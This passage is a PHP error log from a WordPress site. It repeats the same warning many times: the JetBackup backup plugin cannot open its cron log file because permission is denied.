fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:28:34 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:28:44 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:28:55 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:29:05 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:29:16 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:29:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:29:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:29:44 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:29:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:30:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:30:23 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:30:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:30:38 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:30:46 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:30:55 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:31:05 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:31:16 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:31:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:31:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:31:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:31:55 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:32:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:32:16 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:32:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:32:34 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:32:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:32:55 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:33:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:33:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:33:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:33:36 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:33:46 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:33:55 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:34:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:34:17 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:34:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:34:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:34:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:34:55 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:35:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:35:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:35:24 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:35:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:35:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:35:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:36:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:36:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:36:26 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:36:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:36:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:36:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:37:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:37:16 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:37:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:37:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:37:46 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:37:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:38:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:38:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:38:26 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:38:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:38:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:38:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:39:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:39:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:39:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:39:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:39:44 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:39:55 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:40:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:40:20 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:40:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:40:40 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:40:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:40:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:41:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:41:20 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:41:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:41:39 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:41:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:41:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:42:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:42:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:42:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:42:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:42:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:42:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:43:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:43:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:43:26 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:43:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:43:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:43:59 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:44:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:44:20 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:44:32 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:44:43 UTC] PHP Warning: 